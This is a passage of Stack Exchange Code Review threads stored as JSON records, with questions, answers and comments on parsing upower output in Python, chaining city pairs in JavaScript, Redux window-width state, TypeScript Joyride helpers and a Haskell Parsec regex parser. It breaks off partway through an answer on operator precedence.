"CreationDate": "2021-07-09T00:45:34.650",
"Id": "521090",
"Score": "0",
"body": "Thank you very much for taking your time and helping me with my code. Greatly and wholeheartedly appreciated."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T01:11:38.377",
"Id": "521092",
"Score": "0",
"body": "_doing the job of grep inside your program_ - This. `shell=True` needs to go away, and do the grep yourself."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T19:30:14.557",
"Id": "263871",
"ParentId": "263869",
"Score": "5"
}
},
{
"body": "<h2>Security</h2>\n<p>Using <code>shell=True</code> has <strong>security</strong> implications (shell injection) which are mentioned in the Python doc: <a href=\"https://docs.python.org/3/library/subprocess.html#security-considerations\" rel=\"noreferrer\">subprocess — Subprocess management: security considerations</a>. So this parameter should be avoided unless truly needed and third-party input must be sanitized always.</p>\n<p>While it assumed you are running a controlled environment, you have no control over the output format of cli utilities. It could change in the future.</p>\n<p>See also this discussion: <a href=\"https://stackoverflow.com/q/3172470\">Actual meaning of 'shell=True' in subprocess</a> and also <a href=\"https://security.stackexchange.com/q/162938/125626\">Security implications of Suprocess executing with a active shell vs no shell</a></p>\n<h2>Simplify the parsing</h2>\n<p>I think the current implementation of parsing stdout is overkill.</p>\n<p>Indeed, some <strong>error handling</strong> is required. But since you are already doing regexes you could perhaps apply a formula to the whole stdout output and look for the line that contains "percentage", followed by whitespace and a numeric value and the % sign. You are expecting to find one line.</p>\n<p>Example:</p>\n<pre><code>import re\nmatch = re.search("percentage:\\s*([0-9]+)%", stdout, re.MULTILINE)\nif match:\n percentage = match.group(1)\n print(f"Percentage: {percentage}")\nelse:\n print("Percentage value not found !")\n</code></pre>\n<p>There is no need for splitting etc. A regex is sufficient to address your need.</p>\n<p>NB: I don't know if upower returns decimals, then you may have to adjust the regex.</p>\n<h2>Check the return code</h2>\n<p>One bonus: check the return code of your call. The command may fail for various reasons, also when running a command that is not present on the target system. All you need is to add this:</p>\n<pre><code>print(f"returncode: {battery_status.returncode}")\n</code></pre>\n<p>0 = OK, 1 = failure</p>\n<p>So check the return code before you proceed with the rest of your code.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T00:49:28.813",
"Id": "521091",
"Score": "0",
"body": "Thank you for your help. I really appreciate your advice and it directs me toward topics I need to learn."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T07:44:48.147",
"Id": "521104",
"Score": "0",
"body": "It's correct to default to `shell=False` as policy, but there are no security implications for `shell=True` when running a literal (hard-coded) command ... am I overlooking something?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T18:41:28.527",
"Id": "521156",
"Score": "0",
"body": "@FMc: you are correct, no immediate risk here, the point is to avoid bad habits and be aware of the possible pitfalls."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T18:48:13.770",
"Id": "521159",
"Score": "0",
"body": "@Anonymous Makes sense, just wanted to confirm that I understood the underlying issue. Good answer, BTW."
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T21:18:19.763",
"Id": "263875",
"ParentId": "263869",
"Score": "6"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T17:02:37.987",
"Id": "263869",
"Score": "-1",
"Tags": [
"python"
],
"Title": "Request for improvement. Isn't it too much variables?"
}
|
263869
|
<p>Given an array of pairs, for example:</p>
<p>[["Denver", "Miami"], ["Miami", "Tulsa"], ["LA", "Okmulgee"], ["Mobile", "Portland"], ["Tucson", "LA"]]</p>
<p>What's the best way to arrange these pairs into an array of arrays that looks like:</p>
<p>[["Denver", "Miami", "Tulsa"], ["Tucson", "LA", "Okmulgee"], ["Mobile", "Portland"]]</p>
<p>Where arrays with duplicate cities are matched and consolidated, and the order of the other cities in the array is preserved in the new array. If the cities in a pair don't match any other cities of any other pair, then that pair remains unchanged.</p>
<p>Cities will <strong>not</strong> loop back into each other. However, there can be branching, for instance [["Miami", "Tulsa"], ["Tulsa", "Park City"], ["Tulsa", "Anniston"]]</p>
<p>Below is a solution that a friend helped me with that seems to work pretty well, but I was wondering if anyone could come up with something more intuitive, cleaner, or just generally better.</p>
<p>Someone smarter than me has suggested that this problem may be solved with/by <a href="https://en.wikipedia.org/wiki/Topological_sorting" rel="nofollow noreferrer">topological sorting</a>. I would need some hand-holding for that, I'm afraid.</p>
<pre><code>let connectedPairs = [["Denver", "Miami"], ["Miami", "Tulsa"], ["LA", "Okmulgee"], ["Mobile", "Portland"], ["Tucson", "LA"]] // example array of pairs
let ordered = [[...connectedPairs[0]]]
for (let i = 1; i < connectedPairs.length; i++) {
const start = connectedPairs[i][0];
const end = connectedPairs[i][1];
let matched = false;
for (let i2 = 0; i2 < ordered.length; i2++) {
if (
ordered[i2].includes(end) === true &&
ordered[i2].includes(start) === false
) {
matched = true;
const index = ordered[i2].findIndex((id) => end === id);
ordered[i2].splice(index, 0, start);
} else if (
ordered[i2].includes(start) === true &&
ordered[i2].includes(end) === false
) {
matched = true
ordered[i2].push(end);
}
}
if (!matched) {
if (connectedPairs[i].length > 2 && connectedPairs[i][2] === 2) {
connectedPairs[i].pop(); // takes 2 off
ordered.push([...connectedPairs[i]]);
} else if (connectedPairs[i].length > 2 && connectedPairs[i][2] === 1){
connectedPairs.push([start, end, 2]);
} else if (connectedPairs[i].length === 2) {
connectedPairs.push([start, end, 1]);
}
}
}
console.log(ordered)
</code></pre>
<p><em>Output: [["Denver", "Miami", "Tulsa"], ["Tucson", "LA", "Okmulgee"], ["Mobile", "Portland"]]</em></p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T19:40:00.977",
"Id": "521059",
"Score": "1",
"body": "While I don't think I'll have much to contribute algorithm-wise, I wanted to point out you're not clear enough on what you want. Are you assuming no branching and no loops? are the connections directional? (Examples: what if you also had [\"Tulsa\", \"Denver\"]? that's a loop. how about [\"Denver\", \"Chicago\"]? that's a branch). Also, if the tag exist, consider adding `graph` tag"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T19:43:47.223",
"Id": "521060",
"Score": "0",
"body": "@user1999728 Thank you for the input. There won't be any loops, but there can be branching. I will update the post."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T19:57:47.327",
"Id": "521061",
"Score": "1",
"body": "You're welcome. I had another thought regarding making the code more readable (the reason I'm not just answering your question is that I know very little Javascript and graph theory): Consider using maps. place all connections in a `Map` (big M), then take the `keys()`, and use `keys.map((element) => Map[element])`. This can replace one loop, though restrictions (exceptions if the element isn't in the map, for example) may apply. Good luck!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T20:03:07.953",
"Id": "521063",
"Score": "0",
"body": "I've heard of map, but not Map. I'll try it out. Thanks!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T20:40:07.977",
"Id": "521065",
"Score": "1",
"body": "Can you please describe what the expected output should be for the `[[\"Miami\", \"Tulsa\"], [\"Tulsa\", \"Park City\"], [\"Tulsa\", \"Anniston\"]]` branching case?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T20:42:22.533",
"Id": "521066",
"Score": "1",
"body": "To shallow clone an array, consider using `[...a]` rather than `JSON.parse(JSON.stringify(a))`"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T20:46:01.643",
"Id": "521067",
"Score": "0",
"body": "@Wyck yes. The expected output there could be [[\"Miami\", \"Tulsa\", \"Park City\", \"Anniston\"]] or [[\"Miami\", \"Tulsa\", \"Anniston\", \"Park City\"]]. Either one would work.\nGood call on the [...a]"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T20:51:44.047",
"Id": "521068",
"Score": "0",
"body": "@Wyck the spread operator looks good. I will update the post to use it. Thank you."
}
] |
[
{
"body": "<p>What you are doing is a breadth-first traversal of a tree. Asserting the prior that there are no cycles or merging branches (nodes with multiple parents), it can be done like this by repeatedly making a list of the next values to be visited in the traversal.</p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>function breadthFirstTraversal(pairs) {\n const rhs = new Set(pairs.map(p => p[1]));\n const lhs = [...new Set(pairs.map(p => p[0]).filter(v => !rhs.has(v)))];\n return lhs.map(v => {\n const result = [v];\n let next = result;\n while (next.length)\n result.push(...(next = pairs.filter(p => next.includes(p[0])).map(p => p[1])));\n return result;\n });\n}\n\nconst connectedPairs1 = [[\"Denver\", \"Miami\"], [\"Miami\", \"Tulsa\"], [\"LA\", \"Okmulgee\"], [\"Mobile\", \"Portland\"], [\"Tucson\", \"LA\"]];\nconsole.log(JSON.stringify(breadthFirstTraversal(connectedPairs1)));\n\nconst connectedPairs2 = [[\"Miami\", \"Tulsa\"], [\"Tulsa\", \"Park City\"], [\"Tulsa\", \"Anniston\"]];\nconsole.log(JSON.stringify(breadthFirstTraversal(connectedPairs2)));</code></pre>\r\n</div>\r\n</div>\r\n</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T22:22:49.103",
"Id": "521071",
"Score": "0",
"body": "This is awesome and works like a charm. I would upvote, but I am not reputable enough. I will go over this until I understand everything you've done. Thanks again."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-10T13:51:33.280",
"Id": "521209",
"Score": "0",
"body": "There may be a problem, given data `[[\"A\", \"B\"], [\"D\", \"E\"], [\"A\", \"C\"],[\"D\", \"F\"],[\"C\",\"F\"]]` your function returns `[[\"A\",\"B\",\"C\",\"F\"],[\"D\",\"E\",\"F\"]]` (note `\"F\"` in both arrays) rather than expected `[\"A\",\"B\",\"C\",\"D\",\"E\",\"F\"]`"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-11T00:48:03.573",
"Id": "521242",
"Score": "0",
"body": "@Blindman67 See where I wrote: _Asserting the prior that there are no cycles or merging branches_"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-11T10:27:39.880",
"Id": "521253",
"Score": "1",
"body": "The example I gave has no cycles. It is completely unclear what *\"merging branches\"* means. The OP's code is pruning. The OP's code will *`merge????`* `[\"A\", \"B\", \"C\"], [\"D\", \"E\", \"F\"]` when encountering `[\"A\",\"D\"]`, if given the input `[[\"A\", \"B\"], [\"A\", \"C\"], [\"D\", \"E\"], [\"D\", \"F\"], [\"A\",\"D\"]]`. The expected result I gave in the comment is taken from the OP's result for that input."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-11T18:13:35.973",
"Id": "521266",
"Score": "0",
"body": "I'm sorry for using unclear terminology. By _merging_ I meant that a child has only one parent. Or that a symbol will only appear on the right hand side of at most one pair. So having both pairs [\"D\", \"F\"] and [\"C\", \"F\"] would violate this one-parent assertion. If multiple parents are allowed, then we are indeed back to topological sorting (which has already been linked to). None of the examples in the original question contained nodes with multiple parents, so I offered a solution that can work if nodes with multiple parents are known not to exist. I will edit to clarify."
}
],
"meta_data": {
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T21:32:13.587",
"Id": "263876",
"ParentId": "263870",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "263876",
"CommentCount": "8",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T19:16:44.523",
"Id": "263870",
"Score": "2",
"Tags": [
"javascript",
"algorithm",
"array",
"graph"
],
"Title": "Turn an array of pairs of start and end points into an ordered series"
}
|
263870
|
<p>I am using <a href="https://redux-toolkit.js.org/" rel="nofollow noreferrer">Redux Toolkit</a> and have a general-purpose <code>ui-slice</code> that I use for UI states that I need globally.</p>
<p>In particular I have few components that need to know the current width of the window to conditionally render some content. So I made this reducer:</p>
<pre class="lang-js prettyprint-override"><code>acknowledgeScreenWidth(state, action) {
state.screenWidth = action.payload.screenWidth;
},
</code></pre>
<p>I dispatch against this reducer only in one place, in a layout component, like so:</p>
<pre class="lang-js prettyprint-override"><code>useEffect(() => {
const updateWidth = () => dispatch(uiActions.acknowledgeScreenWidth({ screenWidth: window.innerWidth }));
updateWidth();
window.addEventListener('resize', updateWidth);
return () => window.removeEventListener('resize', updateWidth);
}, []);
</code></pre>
<p>And then in the components where I need the current width I have:</p>
<pre class="lang-js prettyprint-override"><code>const screenWidth = useSelector(store => store.ui.screenWidth);
const isSmall = screenWidth < 768;
</code></pre>
<p>Which works because every time <code>screenWidth</code> changes, the component rerenders and <code>isSmall</code> is redeclared.</p>
<p>However the components also have other states and there is no need to redeclare <code>isSmall</code> every time they rerender. (furthermore, the window width is likely to be always the same from the beginning to the end)</p>
<p>So I wonder if creating a local state:</p>
<pre class="lang-js prettyprint-override"><code>const screenWidth = useSelector(store => store.ui.screenWidth);
const [isSmall, setIsSmall] = useState(true);
useEffect(() => {
setIsSmall(screenWidth < 768)
}, [screenWidth]);
</code></pre>
<p>Or memoizing <code>isSmall</code>:</p>
<pre><code>const screenWidth = useSelector(store => store.ui.screenWidth);
const isSmall = useMemo(() => screenWidth < 768, [screenWidth]);
</code></pre>
<p>Could be a better approach, or is actually an anti-pattern.</p>
|
[] |
[
{
"body": "<h2>Performance</h2>\n<p>I don't think that you need to change the approach you are taking with <code>isSmall</code>, it is very cheap to create that variable each render. The other two approaches you posted would actually be worse in performance. You can read further on this <a href=\"https://kentcdodds.com/blog/usememo-and-usecallback\" rel=\"nofollow noreferrer\">wonderful blog</a> by Kent C. Dodds.</p>\n<p>Ultimately, if it really bothers you, you should measure it. Profile the renders and see which way it is faster.</p>\n<h2><code>useEffect</code></h2>\n<p>The code you posted is potentially buggy. The dependency array is missing some dependencies:</p>\n<pre class=\"lang-javascript prettyprint-override\"><code>useEffect(() => {\n const updateWidth = () => dispatch(uiActions.acknowledgeScreenWidth({ screenWidth: window.innerWidth }));\n updateWidth();\n window.addEventListener('resize', updateWidth);\n return () => window.removeEventListener('resize', updateWidth);\n }, [dispatch, uiActions]);\n</code></pre>\n<p>I think that you should probably use the <code>useLayoutEffect</code> hook because I think that your app might flicker twice before setting the new width on resizing, but I am just guessing since I don't have the reproducible example. Usually, when you are dealing with layout transformations, you would use this hook.</p>\n<h2>The approach</h2>\n<p>Your approach looks good to me.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T01:51:47.120",
"Id": "521095",
"Score": "1",
"body": "After writing the question I reasoned too that the other two approaches couldn't perform better, but I thought that maybe there was some best practice to follow. Anyway I read about `useLayoutEffect` and it fits perfectly in this case. Thanks for this amazing discovery"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T01:54:19.953",
"Id": "521096",
"Score": "1",
"body": "I'm glad it helped @SheikYerbouti"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T01:20:55.213",
"Id": "263886",
"ParentId": "263872",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "263886",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T20:23:31.253",
"Id": "263872",
"Score": "1",
"Tags": [
"react.js",
"redux"
],
"Title": "Using Redux state in React component"
}
|
263872
|
<p>I have these few helper function that are used to check if the string in the given array is present and if the certain steps are present and then only have the other function fire. The reason I currently have them separated is because arrTours need to be associated with only those arrSteps. those will always be the values in those arrays</p>
<pre><code>// Handles for manditory action needed by user
const arrTourOver = ['OverviewTour'];
const arrStepOver = [6, 7];
export const handleJoyrideOverview = (
dispatch: any,
tour: any,
index: number
) => {
arrTourOver.includes(tour?.openTour) &&
arrStepOver.includes(tour?.stepIndex) &&
JoyRideDelayContinue(dispatch, tour, tour?.openTour, index);
};
// Handles for manditory action needed by user
const arrTourResize = ['ResizingWidgets'];
const arrStepResize = [0, 1];
export const handleJoyrideResize = (
dispatch: any,
tour: any,
index: number
) => {
arrTourResize.includes(tour?.openTour) &&
arrStepResize.includes(tour?.stepIndex) &&
JoyRideDelayContinue(dispatch, tour, tour?.openTour, index);
};
// Handles for manditory action needed by user
const arrTourDock = ['DockbarFunctions'];
const arrStepDock = [3, 4];
export const handleJoyrideDock = (dispatch: any, tour: any, index: number) => {
arrTourDock.includes(tour?.openTour) &&
arrStepDock.includes(tour?.stepIndex) &&
JoyRideDelayContinue(dispatch, tour, tour?.openTour, index);
};
</code></pre>
<p>These are the 3 I currently have but I will be adding a few more I just want to figure out reducing the redundancy before I keep going</p>
<p>this part isn't really needed but I'll put JoyRideDelayContinue function below just in case</p>
<pre><code>export const JoyRideDelayContinue = (
dispatch: any,
tour: any,
tourType: string,
stepIndex: number
) => {
setTimeout(() => {
if (tour && tour.openTour === tourType) {
dispatch({ type: 'SET_OPEN_TOUR', payload: '' });
dispatch({
type: 'PROGRESS_NEXT_OR_PREV',
payload: { type: tourType, stepIndex: stepIndex }
});
setTimeout(
() => dispatch({ type: 'SET_OPEN_TOUR', payload: tourType }),
500
);
}
}, 1000);
};
</code></pre>
|
[] |
[
{
"body": "<p>The first thing I would extract is the condition:</p>\n<pre class=\"lang-javascript prettyprint-override\"><code>const includesTourData = (tours, steps, tour) => tours.includes(tour?.openTour) && steps.includes(tour?.stepIndex) &&\n\nconst handleJoyrideDock = (dispatch: any, tour: any, index: number) =>\n includesTourData(arrTourDock, arrStepsDock, tour) && \n JoyRideDelayContinue(dispatch, tour, tour?.openTour, index);\n</code></pre>\n<p>I would improve the params of <code>JoyRideDelayContinue</code>, you're checking for equality inside the function <code>tour.openTour == tourType</code>, but at the call site you call it with <code>tour, tour?.openTour</code>, which is redundant:</p>\n<pre class=\"lang-javascript prettyprint-override\"><code>export const JoyRideDelayContinue = (\n dispatch: any,\n tour: any,\n stepIndex: number\n) => {\n setTimeout(() => {\n dispatch({ type: 'SET_OPEN_TOUR', payload: '' });\n dispatch({\n type: 'PROGRESS_NEXT_OR_PREV',\n payload: { type: tour?.openTour, stepIndex }\n });\n setTimeout(\n () => dispatch({ type: 'SET_OPEN_TOUR', payload: tour?.openTour }),\n 500\n );\n }, 1000);\n};\n</code></pre>\n<p>Finally, I think that you are adding a level of unnecessary indirection with the <code>handleJoyrideDock</code>-like functions. You could just write the conditional logic at the call site.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T22:46:58.977",
"Id": "263880",
"ParentId": "263874",
"Score": "4"
}
},
{
"body": "<h2>Define types</h2>\n<p>If you are using a typed language like TypeScript, you should use it correctly. Defining most of the variables as type <code>any</code> does not give you robust type protection. Using TypeScript this way is just bloating your code with noise.</p>\n<h2>Low quality</h2>\n<p>Sorry to say this, but the code is rather low quality.</p>\n<p>The code has a lot of repeated and some redundant code.</p>\n<p>Data is unorganized and strewn ad-hoc in the code creating a maintenance nightmare.</p>\n<p>Names are too long and you use pre and post fix naming to organize related data. That is what objects are for. You should seldomly need to use pre/post fixed naming in an OO language.</p>\n<p>Your intent is not clear due to the way you use <code>?.</code> It is possible that you have used them correctly, but that is a very unusual situation and should be handled before you pass <code>tour</code> to any function.</p>\n<p>Only export what you need. I have the feeling you have slapped export in front of code that will never be used outside the module.</p>\n<h2>Rewrite</h2>\n<p>The rewrite moves the 3 functions into a factory. The data they need is passed as arguments.</p>\n<p>The strings and steps are stored in 2 <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set\" rel=\"nofollow noreferrer\" title=\"MDN JavaScript global objects reference. Set\">Sets</a> to keep time complexity down.</p>\n<p>I am assuming that <code>tour</code> is never nullish when passed and that you never put <code>undefined</code> in the string arrays or the numbers that include <code>undefined</code> which will negate the need for <code>?.</code></p>\n<p>All the <code>handleJoyride???</code> calls are added to an export object called <code>joyrides</code>. Thus</p>\n<pre><code>const arrTourOver = ['OverviewTour'];\nconst arrStepOver = [6, 7];\nexport const handleJoyrideOverview = (\n</code></pre>\n<p>becomes</p>\n<pre><code>export const joyrides = {\n overview: createDispatcher(['OverviewTour'], [6, 7]),\n ...\n</code></pre>\n<p>The resulting rewrite as Javascript</p>\n<pre><code>export const joyrides = {\n overview: createDispatcher(['OverviewTour'], [6, 7]),\n resize: createDispatcher(['ResizingWidgets'], [0, 1]),\n dock: createDispatcher(['DockbarFunctions'], [3, 4]),\n}; \n\nfunction createDispatcher(strs, steps, dispatcher = JoyRideDelayContinue){\n [strs, steps] = [new Set(strs), new Set(steps)]; \n return (dispatch, tour, idx) => {\n strs.has(tour.openTour) && steps.has(tour.stepsIndex) && \n dispatcher(dispatch, tour, idx)\n };\n} \n\nconst JoyRideDelayContinue = (dispatch, tour, stepIndex) => {\n setTimeout(() => {\n dispatch({type: 'SET_OPEN_TOUR', payload: ''});\n dispatch({type: 'PROGRESS_NEXT_OR_PREV', payload: {type: tour.openTour, stepIndex}});\n setTimeout(dispatch, 500, {type: 'SET_OPEN_TOUR', payload: tour.openTour})\n }, 1000);\n}\n \n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-13T02:50:12.127",
"Id": "521341",
"Score": "0",
"body": "Thank you so much for this feedback"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T00:41:45.310",
"Id": "263883",
"ParentId": "263874",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "263883",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T21:01:42.167",
"Id": "263874",
"Score": "2",
"Tags": [
"react.js",
"typescript",
"redux"
],
"Title": "Calling functions if certain strings are in an array"
}
|
263874
|
<p>I am working on some application which involves regular expressions with counting. Also, these regular expressions are not necessarily over some fixed alphabet, but over some class of predicates over bit-vectors.</p>
<p>I would like to be able parse/unparse these objects. I have come up with something that works, but I am concerned that the way this stands, this requires too many parens, and usually humans would not want to use parens in the places where I strictly require it. Suggestions on how I can make this entire thing closer to human syntax is welcome.</p>
<p>Also, general comments on haskell programming styles are welcome as well.</p>
<p>Here is the file <code>Types.hs</code> where the types are defined and also the unparsing</p>
<pre class="lang-hs prettyprint-override"><code>module Regex.Types where
import Data.List (intercalate)
data Regex a = -- this is required elsewhere
Empty
| Epsilon
| Char a
| Union [Regex a]
| Concat [Regex a]
| Star (Regex a)
deriving Show
data CntRegex a =
CEmpty
| CEpsilon
| CChar a
| CUnion [CntRegex a]
| CConcat [CntRegex a]
| CStar (CntRegex a)
| CCount Int Int (CntRegex a)
| CCountUnbounded Int (CntRegex a)
data BoolExp a =
BTrue
| BFalse
| BSelect a
| BNot (BoolExp a)
| BAnd [BoolExp a]
| BOr [(BoolExp a)]
instance Show a => Show (BoolExp a) where
show BTrue = "true"
show BFalse = "false"
show (BSelect a) = show a
show (BNot a) = "! " ++ parenwrap (show a)
show (BAnd as) = intercalate " & " ( (parenwrap . show) <$> as)
show (BOr as) = intercalate " | " ( (parenwrap . show) <$> as)
instance Show a => Show (CntRegex a) where
show (CEmpty) = "empty"
show (CEpsilon) = "epsilon"
show (CChar a) = bracketwrap $ show a
show (CUnion as) = intercalate " | " ( (parenwrap . show) <$> as)
show (CConcat as) = intercalate " " ( (parenwrap . show) <$> as)
show (CStar a) = parenwrap (show a) ++ " *"
show (CCount i j a) = parenwrap (show a) ++ "{ " ++ show i ++ ", " ++ show j ++ " }"
show (CCountUnbounded i a) = parenwrap (show a) ++ "{ " ++ show i ++ ", }"
parenwrap p = "(" ++ p ++ ")"
bracketwrap p = "[" ++ p ++ "]"
</code></pre>
<p>This is the <code>Parser.hs</code> file:</p>
<pre class="lang-hs prettyprint-override"><code>module Regex.Parser where
import Text.Parsec
import Text.Parsec.String
import qualified Text.Parsec.Token as P
import Text.Parsec.Language (emptyDef)
import Regex.Types
lexer = P.makeTokenParser emptyDef
parens = P.parens lexer
braces = P.braces lexer
brackets = P.brackets lexer
symbol = P.symbol lexer
natural = P.natural lexer
whiteSpace = P.whiteSpace lexer
pSelect :: Integral a => Parser (BoolExp a)
pSelect = BSelect <$> fromIntegral <$> natural
pAnd :: Parser (BoolExp a) -> Parser (BoolExp a)
pAnd prsr = BAnd <$> prsr `sepBy1` (symbol "&")
pOr :: Parser (BoolExp a) -> Parser (BoolExp a)
pOr prsr = BOr <$> prsr `sepBy1` (symbol "|")
pNot :: Parser (BoolExp a) -> Parser (BoolExp a)
pNot prsr = BNot <$> ((symbol "!") *> prsr)
parseBool :: Integral a => Parser (BoolExp a)
parseBool = try (parens $ pNot parseBool)
<|> try (parens $ pOr parseBool)
<|> try (parens $ pAnd parseBool)
<|> try (parens parseBool)
<|> try (symbol "true" *> pure BTrue)
<|> try (symbol "false" *> pure BFalse)
<|> pSelect
parseRegex :: Integral a => Parser (CntRegex (BoolExp a))
parseRegex = whiteSpace *> pRegex <* eof
pRegex :: Integral a => Parser (CntRegex (BoolExp a))
pRegex = try (parens $ pStar pRegex)
<|> try (parens $ pUnion pRegex)
<|> try (parens $ pConcat pRegex)
<|> try (parens $ pCount pRegex)
<|> try (parens $ pSingleCount pRegex)
<|> try (parens $ pCountUnbounded pRegex)
<|> try (parens $ pRegex)
<|> try (brackets $ CChar <$> parseBool)
<|> try pEmpty
<|> pEpsilon
pEmpty :: Parser (CntRegex a)
pEmpty = symbol "empty" *> pure CEmpty
pEpsilon :: Parser (CntRegex a)
pEpsilon = symbol "epsilon" *> pure CEpsilon
pUnion :: Parser (CntRegex a) -> Parser (CntRegex a)
pUnion subparser = CUnion <$> subparser `sepBy1` (symbol "|")
pConcat :: Parser (CntRegex a) -> Parser (CntRegex a)
pConcat subparser = CConcat <$> many1 subparser
pStar :: Parser (CntRegex a) -> Parser (CntRegex a)
pStar subparser = CStar <$> subparser <* symbol "*"
pSingleCount :: Parser (CntRegex a) -> Parser (CntRegex a)
pSingleCount subparser = do
exp <- subparser
int <- fromIntegral <$> braces natural
pure $ CCount int int exp
pCount :: Parser (CntRegex a) -> Parser (CntRegex a)
pCount subparser = do
exp <- subparser
symbol "{"
lo <- fromIntegral <$> natural
symbol ","
hi <- fromIntegral <$> natural
symbol "}"
pure $ CCount lo hi exp
pCountUnbounded :: Parser (CntRegex a) -> Parser (CntRegex a)
pCountUnbounded subparser = do
exp <- subparser
symbol "{"
lo <- fromIntegral <$> natural
symbol ","
symbol "}"
pure $ CCountUnbounded lo exp
<span class="math-container">```</span>
</code></pre>
|
[] |
[
{
"body": "<h2>Parsing with Precedence</h2>\n<p>I gather you want to add precedence to your operators, so you can write:</p>\n<pre><code>15 | !6 & 12\n</code></pre>\n<p>in place of:</p>\n<pre><code>(15 | (!6) & 12)\n</code></pre>\n<p>with the understanding that <code>!</code> binds more tightly than <code>&</code> which binds more tightly than <code>|</code>. Fortunately, Parsec has built in support for this in the <code>Text.Parsec.Expr</code> module. The way you use it is to write a table-based parser for "expressions" that consist of operators applied to "terms". Terms include both atoms (like your <code>pSelect</code>) and parenthesized expressions.</p>\n<p>(If you also want to see a manual alternative to the table-based approach, you may find this <a href=\"https://stackoverflow.com/a/56410230/7203016\">Stack Overflow answer of mine</a> helpful. See the section "Operator Precedence" in particular.)</p>\n<p>So, first, we define a parser for boolean terms:</p>\n<pre><code>reserved = P.reserved lexer\n\nboolTerm :: Integral a => Parser (BoolExp a)\nboolTerm = BTrue <$ reserved "true"\n <|> BFalse <$ reserved "false"\n <|> BSelect . fromIntegral <$> natural\n <|> parens boolExpr\n <?> "boolean term"\n</code></pre>\n<p>A few notes:</p>\n<ul>\n<li>Note the alternative way of writing the parsers for <code>true</code> and <code>false</code> using the <code>(<$)</code> operator. This is pretty common.</li>\n<li>Also, <code>reserved</code> is correct here, not <code>symbol</code>, though it doesn't make a difference for your particular parser. The problem is that <code>symbol "false"</code> would match the first five characters of <code>"falsehood"</code> and then leave <code>"hood"</code> for a subsequent parser to parse, which is rarely what you want. The alternative <code>reserved "false"</code> avoids this, only parsing <code>"false"</code> if it isn't the prefix of a valid alphanumeric identifier.</li>\n<li>Also note the use of <code>f . g <$> natural</code> in place of <code>f <$> g <$> natural</code>, though this is a minor stylistic choice.</li>\n<li>Finally, note that <code>try</code> is unnecessary here. You only need <code>try</code> if a parser might fail <strong>after consuming input</strong> and you want to try subsequent alternatives. Here, none of these parsers can fail after consuming input, expect <code>parens</code>, which might fail if there's an open parenthesis followed by something other than a valid bool expression and a close parenthesis, but if that happens, there's nothing left to try (i.e., there are no valid parses starting with an open parenthesis, other than this one), so <code>try</code> is still unnecessary.</li>\n</ul>\n<p>Then, we write the table based parser for expressions. The table is a list of lists of operator specifications: each inner list contains operator specfications at the same precedence, and in the outer list, the highest precedence (tightest binding) operators come first. In this parser, <code>!</code> binds more tightly than <code>&</code> which binds more tightly than <code>|</code>.</p>\n<pre><code>boolExpr :: Integral a => Parser (BoolExp a)\nboolExpr = buildExpressionParser table boolTerm <?> "boolean expression"\n where table =\n [ [prefix BNot "!"]\n , [binary band' "&"]\n , [binary bor' "|"]\n ]\n prefix op str = Prefix (op <$ symbol str)\n binary op str = Infix (op <$ symbol str) AssocRight\n band' x (BAnd ys) = BAnd (x:ys)\n band' (BAnd xs) y = BAnd (xs ++ [y])\n band' x y = BAnd [x,y]\n bor' x (BOr ys) = BOr (x:ys)\n bor' (BOr xs) y = BOr (xs ++ [y])\n bor' x y = BOr 